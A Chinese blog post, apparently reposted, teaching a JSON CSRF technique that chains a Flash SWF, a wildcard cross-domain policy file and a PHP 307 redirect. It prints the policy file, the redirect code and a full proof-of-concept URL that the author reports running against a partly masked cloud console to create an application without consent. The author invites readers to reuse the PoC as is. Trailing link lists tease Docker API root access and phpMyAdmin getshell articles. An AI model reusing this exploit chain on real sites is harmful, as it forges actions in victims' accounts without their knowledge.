以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,

​​​本文作者:Mannix@安全文库

微信公众号:安全文库

测试的时候,当应用程序验证了Content-typedata format,这种新姿势依然可以可以使用flash307重定向来实现JSON CSRF。

要求:

1 制作一个Flash文件

制作一个跨域XML文件

制作一个具有307状态码的PHP文件

制作FLASH文件:

这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

安全文库精华文章

这是测试  SWF文件代码,可以根据需要下载和编辑内容。

跨域XML文件:

<cross-domain-policy>

<allow-access-from domain="*" secure="false"/>

<allow-http-request-headers-from domain="*" headers="*" secure="false"/>

</cross-domain-policy>

该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。

注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

具有307状态码的PHP文件:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

注意:由于这是基于闪存,所以f​​lash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。

好了,举个栗子吧

(所有敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)某云认知服务应用列表创建应用处存JSON CSRF。

安全文库精华文章

安全文库精华文章

可以看到几个关键点

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

没有验证referrer也没有任何token

构造属于我们自己的POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

安全文库精华文章

执行过后,页面是没有任何显示的

返回刷新原始页面

安全文库精华文章

可以看到已经成功执行了CSRF创建了一个新的应用

分析一下POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

安全文库精华文章

第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。

经过307跳转以后实现CSRF

安全文库精华文章

安全文库精华文章

具体文章参考:

http://blog.xss.tv/test.swf?jsonData={"Mannix":Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

需要测试的可以直接按照我的POC套数据。

JSON CSRF新姿势的更多相关文章

  1. 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用

    0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...

  2. NET Core 3.0 AutoFac替换内置DI的新姿势

    原文:NET Core 3.0 AutoFac替换内置DI的新姿势 .NET Core 3.0 和 以往版本不同,替换AutoFac服务的方式有了一定的变化,在尝试着升级项目的时候出现了一些问题. 原 ...

  3. Python一键转Jar包,Java调用Python新姿势!

    粉丝朋友们,不知道大家看故事看腻了没(要是没腻可一定留言告诉我^_^),今天这篇文章换换口味,正经的来写写技术文.言归正传,咱们开始吧! 本文结构: 需求背景 进击的Python Java和Pytho ...

  4. FJNU 1159 Fat Brother’s new way(胖哥的新姿势)

    FJNU 1159 Fat Brother’s new way(胖哥的新姿势) Time Limit: 1000MS   Memory Limit: 257792K [Description] [题目 ...

  5. Broadcom BCM94352z/DW1560驱动新姿势

    转自:https://blog.daliansky.net/Broadcom-BCM94352z-DW1560-drive-new-posture.html Broadcom WiFi/BlueToo ...

  6. vue组件通信新姿势

    在vue项目实际开发中我们经常会使用props和emit来进行子父组件的传值通信,父组件向子组件传递数据是通过prop传递的, 子组件传递数据给父组件是通过$emit触发事件来做到的.例如: Vue. ...

  7. bzoj1656: [Usaco2006 Jan] The Grove 树木 (bfs+新姿势)

      题目大意:一个n*m的图中,“.”可走,“X”不可走,“*”为起点,问从起点开始绕所有X一圈回到起点最少需要走多少步. 一开始看到这题,自己脑洞了下怎么写,应该是可过,然后跑去看了题解,又学会了一 ...

  8. Java计时新姿势

    为获得更好的阅读体验,请访问原文:传送门 前言: 最近公司来了个大佬,从他那里学到不少东西,其中一个就是计时 的新姿势「StopWatch」,赶紧来一起了解了解吧! 一.最简单的计时 在我们的程序中不 ...

  9. 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势

    原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...

随机推荐

  1. [NOI2016]优秀的拆分&&BZOJ2119股市的预测

    [NOI2016]优秀的拆分 https://www.lydsy.com/JudgeOnline/problem.php?id=4650 题解 如果我们能够统计出一个数组a,一个数组b,a[i]表示以 ...

  2. centos7下安装部署mongodb集群(副本集模式)

    环境需求:Mongodb集群有三种模式:  Replica Set, Sharding,Master-Slaver.  这里部署的是Replica Set模式. 测试环境: 这里副本集(Replica ...

  3. javascript正则表达式---正向预查

    什么是正向预查?这里有腾讯招聘的一个例子: 如何给一串数字用千分制表示?比如9999999999变成9,999,999,999.这样一个问题你会怎么答呢?博主js正则学的不咋样,然后用操作字符串的办法 ...

  4. HTML 5 canvas globalCompositeOperation 属性

    做一个canvas鼠标跟随动画的时候用到了,就copy w3c的解释整理一番: globalCompositeOperation 属性设置或返回如何将一个源(新的)图像绘制到目标(已有)的图像上. 源 ...

  5. kafka为什么这么优秀!

    kafka为什么这么优秀! 阿飞的博客 匠心零度 今天 1.动机2.持久化3.效率4.生产者4.1负载均衡4.2异步发送5.消费者Push vs. Pull消费者位置离线数据加载 1.动机 kafka ...

  6. Kafka史上最详细原理总结

    https://blog.csdn.net/ychenfeng/article/details/74980531 Kafka Kafka是最初由Linkedin公司开发,是一个分布式.支持分区的(pa ...

  7. 使用 Spring Cloud Stream 构建消息驱动微服务

    相关源码: spring cloud demo 微服务的目的: 松耦合 事件驱动的优势:高度解耦 Spring Cloud Stream 的几个概念 Spring Cloud Stream is a ...

  8. 组件之间的数据传递--Vuex

    安装Vuex: npm install Vuex -S 在main.js中引入 import Vue from 'vue' import App from './App' import Vuex fr ...

  9. 利用captcha库绘制验证码

    #导包 from captcha.image import ImageCaptcha from PIL import Image import random import time import os ...

  10. 用宏定义代替printf函数

    来自:http://blog.csdn.net/yannanxiu/article/details/52506451 #define _DEBUG_ 1 #if _DEBUG_ #define PR( ...